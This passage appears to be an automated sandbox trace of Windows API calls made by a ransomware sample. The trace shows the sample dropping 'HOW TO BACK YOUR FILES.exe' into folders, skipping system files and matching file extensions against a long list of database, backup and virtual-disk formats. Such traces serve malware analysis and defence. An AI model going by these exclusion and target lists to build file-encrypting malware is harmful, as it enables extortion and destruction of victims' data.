GetLastError () returned 0x0 [0118.002] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0118.002] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x552140 [0118.002] ReadFile (in: hFile=0xf4, lpBuffer=0x552140, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x552140*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0118.003] CloseHandle (hObject=0xf4) returned 1 [0118.003] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552140 | out: hHeap=0x4f0000) returned 1 [0118.003] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0118.003] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xce100640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce100640, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529bd0 [0118.003] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.004] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.004] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0118.004] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xce100640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xce100640, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0118.004] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.004] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.004] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0118.004] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0118.004] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x3a42070, ftCreationTime.dwHighDateTime=0x1d2dda2, ftLastAccessTime.dwLowDateTime=0xd6d4dc20, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xd6d4dc20, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1 [0118.004] lstrcmpiW (lpString1="10.0", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0118.004] lstrcmpiW (lpString1="10.0", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0118.004] lstrcmpiW (lpString1="10.0", lpString2=".") returned 1 [0118.004] lstrcmpiW (lpString1="10.0", lpString2="..") returned 1 [0118.004] lstrcmpiW (lpString1="10.0", lpString2="windows") returned -1 [0118.004] lstrcmpiW (lpString1="10.0", lpString2="bootmgr") returned -1 [0118.004] lstrcmpiW (lpString1="10.0", lpString2="temp") returned -1 [0118.004] lstrcmpiW (lpString1="10.0", lpString2="pagefile.sys") returned -1 [0118.004] lstrcmpiW (lpString1="10.0", lpString2="boot") returned -1 [0118.004] lstrcmpiW (lpString1="10.0", lpString2="ids.txt") returned -1 [0118.004] lstrcmpiW (lpString1="10.0", lpString2="ntuser.dat") returned -1 [0118.004] lstrcmpiW (lpString1="10.0", lpString2="perflogs") returned -1 [0118.004] lstrcmpiW (lpString1="10.0", lpString2="MSBuild") returned -1 [0118.004] lstrlenW (lpString="10.0") returned 4 [0118.004] lstrcpyW (in: lpString1=0x241e8b0, lpString2="10.0" | out: lpString1="10.0") returned="10.0" [0118.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52af18 [0118.004] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x502a28 [0118.005] lstrcatW (in: lpString1="10.0", lpString2="\\" | out: lpString1="10.0\\") returned="10.0\\" [0118.005] lstrcatW (in: lpString1="10.0\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="10.0\\HOW TO BACK YOUR FILES.exe") returned="10.0\\HOW TO BACK YOUR FILES.exe" [0118.005] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\VSTO\\10.0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\vsto\\10.0\\how to back your files.exe"), bFailIfExists=1) returned 1 [0118.008] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce100640, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xce100640, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0118.009] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0118.009] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6a612c00, ftCreationTime.dwHighDateTime=0x1cb6585, ftLastAccessTime.dwLowDateTime=0xd6cdb800, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x6a612c00, ftLastWriteTime.dwHighDateTime=0x1cb6585, nFileSizeHigh=0x0, nFileSizeLow=0x2d148, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="vstoee.dll", cAlternateFileName="")) returned 1 [0118.009] lstrcmpiW (lpString1="vstoee.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0118.009] lstrcmpiW (lpString1="vstoee.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0118.009] lstrcmpiW (lpString1="vstoee.dll", lpString2=".") returned 1 [0118.009] lstrcmpiW (lpString1="vstoee.dll", lpString2="..") returned 1 [0118.009] lstrcmpiW (lpString1="vstoee.dll", lpString2="windows") returned -1 [0118.009] lstrcmpiW (lpString1="vstoee.dll", lpString2="bootmgr") returned 1 [0118.009] lstrcmpiW (lpString1="vstoee.dll", lpString2="temp") returned 1 [0118.009] lstrcmpiW (lpString1="vstoee.dll", lpString2="pagefile.sys") returned 1 [0118.009] lstrcmpiW (lpString1="vstoee.dll", lpString2="boot") returned 1 [0118.009] lstrcmpiW (lpString1="vstoee.dll", lpString2="ids.txt") returned 1 [0118.009] lstrcmpiW (lpString1="vstoee.dll", lpString2="ntuser.dat") returned 1 [0118.009] lstrcmpiW (lpString1="vstoee.dll", lpString2="perflogs") returned 1 [0118.009] lstrcmpiW (lpString1="vstoee.dll", lpString2="MSBuild") returned 1 [0118.009] lstrlenW (lpString="vstoee.dll") returned 10 [0118.009] lstrcpyW (in: lpString1=0x241e8b0, lpString2="vstoee.dll" | out: lpString1="vstoee.dll") returned="vstoee.dll" [0118.009] lstrlenW (lpString="vstoee.dll") returned 10 [0118.009] lstrlenW (lpString="Athena865") returned 9 [0118.009] lstrcmpiW (lpString1="stoee.dll", lpString2="Athena865") returned 1 [0118.009] lstrlenW (lpString=".dll") returned 4 [0118.009] lstrcmpiW (lpString1="vstoee.dll", lpString2=".dll") returned 1 [0118.009] lstrlenW (lpString=".lnk") returned 4 [0118.009] lstrcmpiW (lpString1="vstoee.dll", lpString2=".lnk") returned 1 [0118.009] lstrlenW (lpString=".ini") returned 4 [0118.009] lstrcmpiW (lpString1="vstoee.dll", lpString2=".ini") returned 1 [0118.009] lstrlenW (lpString=".sys") returned 4 [0118.009] lstrcmpiW (lpString1="vstoee.dll", lpString2=".sys") returned 1 [0118.009] lstrlenW (lpString="vstoee.dll") returned 10 [0118.010] lstrlenW (lpString="bak") returned 3 [0118.010] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0118.010] lstrlenW (lpString="ba_") returned 3 [0118.010] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0118.010] lstrlenW (lpString="dbb") returned 3 [0118.010] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0118.010] lstrlenW (lpString="vmdk") returned 4 [0118.010] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0118.010] lstrlenW (lpString="rar") returned 3 [0118.010] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0118.010] lstrlenW (lpString="zip") returned 3 [0118.010] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0118.010] lstrlenW (lpString="tgz") returned 3 [0118.010] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0118.010] lstrlenW (lpString="vbox") returned 4 [0118.010] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0118.010] lstrlenW (lpString="vdi") returned 3 [0118.010] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0118.010] lstrlenW (lpString="vhd") returned 3 [0118.010] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0118.010] lstrlenW (lpString="vhdx") returned 4 [0118.010] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0118.010] lstrlenW (lpString="avhd") returned 4 [0118.010] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0118.010] lstrlenW (lpString="db") returned 2 [0118.010] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0118.010] lstrlenW (lpString="db2") returned 3 [0118.010] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0118.010] lstrlenW (lpString="db3") returned 3 [0118.010] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0118.011] lstrlenW (lpString="dbf") returned 3 [0118.011] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0118.011] lstrlenW (lpString="mdf") returned 3 [0118.011] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0118.011] lstrlenW (lpString="mdb") returned 3 [0118.011] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0118.011] lstrlenW (lpString="sql") returned 3 [0118.011] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0118.011] lstrlenW (lpString="sqlite") returned 6 [0118.011] lstrcmpiW (lpString1="ee.dll", lpString2="sqlite") returned -1 [0118.011] lstrlenW (lpString="sqlite3") returned 7 [0118.011] lstrcmpiW (lpString1="oee.dll", lpString2="sqlite3") returned -1 [0118.011] lstrlenW (lpString="sqlitedb") returned 8 [0118.011] lstrcmpiW (lpString1="toee.dll", lpString2="sqlitedb") returned 1 [0118.011] lstrlenW (lpString="xml") returned 3 [0118.011] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0118.011] lstrlenW (lpString="$er") returned 3 [0118.011] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0118.011] lstrlenW (lpString="4dd") returned 3 [0118.011] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0118.011] lstrlenW (lpString="4dl") returned 3 [0118.011] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0118.011] lstrlenW (lpString="^^^") returned 3 [0118.011] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0118.011] lstrlenW (lpString="abs") returned 3 [0118.011] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0118.011] lstrlenW (lpString="abx") returned 3 [0118.011] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0118.011] lstrlenW (lpString="accdb") returned 5 [0118.011] lstrcmpiW (lpString1="e.dll", lpString2="accdb") returned 1 [0118.012] lstrlenW (lpString="accdc") returned 5 [0118.012] lstrcmpiW (lpString1="e.dll", lpString2="accdc") returned 1 [0118.012] lstrlenW (lpString="accde") returned 5 [0118.012] lstrcmpiW (lpString1="e.dll", lpString2="accde") returned 1 [0118.012] lstrlenW (lpString="accdr") returned 5 [0118.012] lstrcmpiW (lpString1="e.dll", lpString2="accdr") returned 1 [0118.012] lstrlenW (lpString="accdt") returned 5 [0118.012] lstrcmpiW (lpString1="e.dll", lpString2="accdt") returned 1 [0118.012] lstrlenW (lpString="accdw") returned 5 [0118.012] lstrcmpiW (lpString1="e.dll", lpString2="accdw") returned 1 [0118.012] lstrlenW (lpString="accft") returned 5 [0118.012] lstrcmpiW (lpString1="e.dll", lpString2="accft") returned 1 [0118.012] lstrlenW (lpString="adb") returned 3 [0118.012] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.012] lstrlenW (lpString="adb") returned 3 [0118.012] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0118.012] lstrlenW (lpString="ade") returned 3 [0118.012] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0118.012] lstrlenW (lpString="adf") returned 3 [0118.012] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0118.012] lstrlenW (lpString="adn") returned 3 [0118.012] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0118.012] lstrlenW (lpString="adp") returned 3 [0118.012] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0118.012] lstrlenW (lpString="alf") returned 3 [0118.012] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0118.012] lstrlenW (lpString="ask") returned 3 [0118.012] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0118.012] lstrlenW (lpString="btr") returned 3 [0118.012] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0118.013] lstrlenW (lpString="cat") returned 3 [0118.013] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0118.013] lstrlenW (lpString="cdb") returned 3 [0118.013] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0118.013] lstrlenW (lpString="ckp") returned 3 [0118.013] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0118.013] lstrlenW (lpString="cma") returned 3 [0118.013] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0118.013] lstrlenW (lpString="cpd") returned 3 [0118.013] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0118.013] lstrlenW (lpString="dacpac") returned 6 [0118.013] lstrcmpiW (lpString1="ee.dll", lpString2="dacpac") returned 1 [0118.013] lstrlenW (lpString="dad") returned 3 [0118.013] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0118.013] lstrlenW (lpString="dadiagrams") returned 10 [0118.013] lstrlenW (lpString="daschema") returned 8 [0118.013] lstrcmpiW (lpString1="toee.dll", lpString2="daschema") returned 1 [0118.013] lstrlenW (lpString="db-journal") returned 10 [0118.013] lstrlenW (lpString="db-shm") returned 6 [0118.013] lstrcmpiW (lpString1="ee.dll", lpString2="db-shm") returned 1 [0118.013] lstrlenW (lpString="db-wal") returned 6 [0118.013] lstrcmpiW (lpString1="ee.dll", lpString2="db-wal") returned 1 [0118.013] lstrlenW (lpString="dbc") returned 3 [0118.013] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0118.013] lstrlenW (lpString="dbs") returned 3 [0118.013] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0118.013] lstrlenW (lpString="dbt") returned 3 [0118.013] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0118.013] lstrlenW (lpString="dbv") returned 3 [0118.013] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0118.013] lstrlenW (lpString="dbx") returned 3 [0118.014] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0118.014] lstrlenW (lpString="dcb") returned 3 [0118.014] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0118.014] lstrlenW (lpString="dct") returned 3 [0118.014] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0118.014] lstrlenW (lpString="dcx") returned 3 [0118.014] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0118.014] lstrlenW (lpString="ddl") returned 3 [0118.014] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0118.014] lstrlenW (lpString="dlis") returned 4 [0118.014] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0118.014] lstrlenW (lpString="dp1") returned 3 [0118.014] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0118.014] lstrlenW (lpString="dqy") returned 3 [0118.014] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0118.014] lstrlenW (lpString="dsk") returned 3 [0118.014] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0118.014] lstrlenW (lpString="dsn") returned 3 [0118.014] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0118.014] lstrlenW (lpString="dtsx") returned 4 [0118.014] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0118.014] lstrlenW (lpString="dxl") returned 3 [0118.014] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0118.014] lstrlenW (lpString="eco") returned 3 [0118.014] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0118.014] lstrlenW (lpString="ecx") returned 3 [0118.014] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0118.014] lstrlenW (lpString="edb") returned 3 [0118.014] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0118.015] lstrlenW (lpString="epim") returned 4 [0118.015] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0118.015] lstrlenW (lpString="fcd") returned 3 [0118.015] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0118.015] lstrlenW (lpString="fdb") returned 3 [0118.015] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0118.015] lstrlenW (lpString="fic") returned 3 [0118.015] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0118.015] lstrlenW (lpString="flexolibrary") returned 12 [0118.015] lstrlenW (lpString="fm5") returned 3 [0118.015] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0118.015] lstrlenW (lpString="fmp") returned 3 [0118.015] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0118.015] lstrlenW (lpString="fmp12") returned 5 [0118.015] lstrcmpiW (lpString1="e.dll", lpString2="fmp12") returned -1 [0118.015] lstrlenW (lpString="fmpsl") returned 5 [0118.015] lstrcmpiW (lpString1="e.dll", lpString2="fmpsl") returned -1 [0118.015] lstrlenW (lpString="fol") returned 3 [0118.015] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0118.015] lstrlenW (lpString="fp3") returned 3 [0118.015] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0118.015] lstrlenW (lpString="fp4") returned 3 [0118.015] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0118.015] lstrlenW (lpString="fp5") returned 3 [0118.015] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0118.015] lstrlenW (lpString="fp7") returned 3 [0118.015] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0118.015] lstrlenW (lpString="fpt") returned 3 [0118.015] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0118.015] lstrlenW (lpString="frm") returned 3 [0118.016] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0118.016] lstrlenW (lpString="gdb") returned 3 [0118.016] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0118.016] lstrlenW (lpString="gdb") returned 3 [0118.016] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0118.016] lstrlenW (lpString="grdb") returned 4 [0118.016] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0118.016] lstrlenW (lpString="gwi") returned 3 [0118.016] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0118.016] lstrlenW (lpString="hdb") returned 3 [0118.016] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0118.016] lstrlenW (lpString="his") returned 3 [0118.016] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0118.016] lstrlenW (lpString="ib") returned 2 [0118.016] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0118.016] lstrlenW (lpString="idb") returned 3 [0118.016] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0118.016] lstrlenW (lpString="ihx") returned 3 [0118.016] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0118.016] lstrlenW (lpString="itdb") returned 4 [0118.016] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0118.016] lstrlenW (lpString="itw") returned 3 [0118.016] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0118.016] lstrlenW (lpString="jet") returned 3 [0118.016] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0118.017] lstrlenW (lpString="jtx") returned 3 [0118.017] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0118.017] lstrlenW (lpString="kdb") returned 3 [0118.017] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0118.017] lstrlenW (lpString="kexi") returned 4 [0118.017] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0118.017] lstrlenW (lpString="kexic") returned 5 [0118.017] lstrcmpiW (lpString1="e.dll", lpString2="kexic") returned -1 [0118.017] lstrlenW (lpString="kexis") returned 5 [0118.017] lstrcmpiW (lpString1="e.dll", lpString2="kexis") returned -1 [0118.017] lstrlenW (lpString="lgc") returned 3 [0118.017] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0118.017] lstrlenW (lpString="lwx") returned 3 [0118.017] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0118.017] lstrlenW (lpString="maf") returned 3 [0118.017] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0118.017] lstrlenW (lpString="maq") returned 3 [0118.017] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0118.017] lstrlenW (lpString="mar") returned 3 [0118.017] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0118.017] lstrlenW (lpString="marshal") returned 7 [0118.017] lstrcmpiW (lpString1="oee.dll", lpString2="marshal") returned 1 [0118.017] lstrlenW (lpString="mas") returned 3 [0118.017] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0118.017] lstrlenW (lpString="mav") returned 3 [0118.017] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0118.017] lstrlenW (lpString="maw") returned 3 [0118.017] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0118.018] lstrlenW (lpString="mdbhtml") returned 7 [0118.018] lstrcmpiW (lpString1="oee.dll", lpString2="mdbhtml") returned 1 [0118.018] lstrlenW (lpString="mdn") returned 3 [0118.018] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0118.018] lstrlenW (lpString="mdt") returned 3 [0118.018] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0118.018] lstrlenW (lpString="mfd") returned 3 [0118.018] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0118.018] lstrlenW (lpString="mpd") returned 3 [0118.018] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0118.018] lstrlenW (lpString="mrg") returned 3 [0118.018] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0118.018] lstrlenW (lpString="mud") returned 3 [0118.018] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0118.018] lstrlenW (lpString="mwb") returned 3 [0118.018] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0118.018] lstrlenW (lpString="myd") returned 3 [0118.018] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0118.018] lstrlenW (lpString="ndf") returned 3 [0118.018] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0118.018] lstrlenW (lpString="nnt") returned 3 [0118.018] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0118.018] lstrlenW (lpString="nrmlib") returned 6 [0118.018] lstrcmpiW (lpString1="ee.dll", lpString2="nrmlib") returned -1 [0118.018] lstrlenW (lpString="ns2") returned 3 [0118.018] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0118.018] lstrlenW (lpString="ns3") returned 3 [0118.018] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0118.018] lstrlenW (lpString="ns4") returned 3 [0118.019] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0118.019] lstrlenW (lpString="nsf") returned 3 [0118.019] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0118.019] lstrlenW (lpString="nv") returned 2 [0118.019] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0118.019] lstrlenW (lpString="nv2") returned 3 [0118.019] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0118.019] lstrlenW (lpString="nwdb") returned 4 [0118.019] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0118.019] lstrlenW (lpString="nyf") returned 3 [0118.019] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0118.019] lstrlenW (lpString="odb") returned 3 [0118.019] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0118.019] lstrlenW (lpString="odb") returned 3 [0118.019] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0118.019] lstrlenW (lpString="oqy") returned 3 [0118.019] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0118.019] lstrlenW (lpString="ora") returned 3 [0118.019] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0118.019] lstrlenW (lpString="orx") returned 3 [0118.019] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0118.019] lstrlenW (lpString="owc") returned 3 [0118.019] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0118.019] lstrlenW (lpString="p96") returned 3 [0118.019] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0118.019] lstrlenW (lpString="p97") returned 3 [0118.019] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0118.019] lstrlenW (lpString="pan") returned 3 [0118.020] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0118.020] lstrlenW (lpString="pdb") returned 3 [0118.020] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0118.020] lstrlenW (lpString="pdm") returned 3 [0118.020] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0118.020] lstrlenW (lpString="pnz") returned 3 [0118.020] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0118.020] lstrlenW (lpString="qry") returned 3 [0118.020] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0118.020] lstrlenW (lpString="qvd") returned 3 [0118.020] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0118.020] lstrlenW (lpString="rbf") returned 3 [0118.020] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0118.020] lstrlenW (lpString="rctd") returned 4 [0118.020] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0118.020] lstrlenW (lpString="rod") returned 3 [0118.020] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0118.020] lstrlenW (lpString="rodx") returned 4 [0118.020] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0118.020] lstrlenW (lpString="rpd") returned 3 [0118.020] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0118.020] lstrlenW (lpString="rsd") returned 3 [0118.020] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0118.020] lstrlenW (lpString="sas7bdat") returned 8 [0118.020] lstrcmpiW (lpString1="toee.dll", lpString2="sas7bdat") returned 1 [0118.020] lstrlenW (lpString="sbf") returned 3 [0118.020] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0118.020] lstrlenW (lpString="scx") returned 3 [0118.020] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0118.021] lstrlenW (lpString="sdb") returned 3 [0118.021] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0118.021] lstrlenW (lpString="sdc") returned 3 [0118.021] lstrcmpiW (lpString1="dll", lpString2="sdc") returned -1 [0118.021] lstrlenW (lpString="sdf") returned 3 [0118.021] lstrcmpiW (lpString1="dll", lpString2="sdf") returned -1 [0118.021] lstrlenW (lpString="sis") returned 3 [0118.021] lstrcmpiW (lpString1="dll", lpString2="sis") returned -1 [0118.021] lstrlenW (lpString="spq") returned 3 [0118.021] lstrcmpiW (lpString1="dll", lpString2="spq") returned -1 [0118.021] lstrlenW (lpString="te") returned 2 [0118.021] lstrcmpiW (lpString1="ll", lpString2="te") 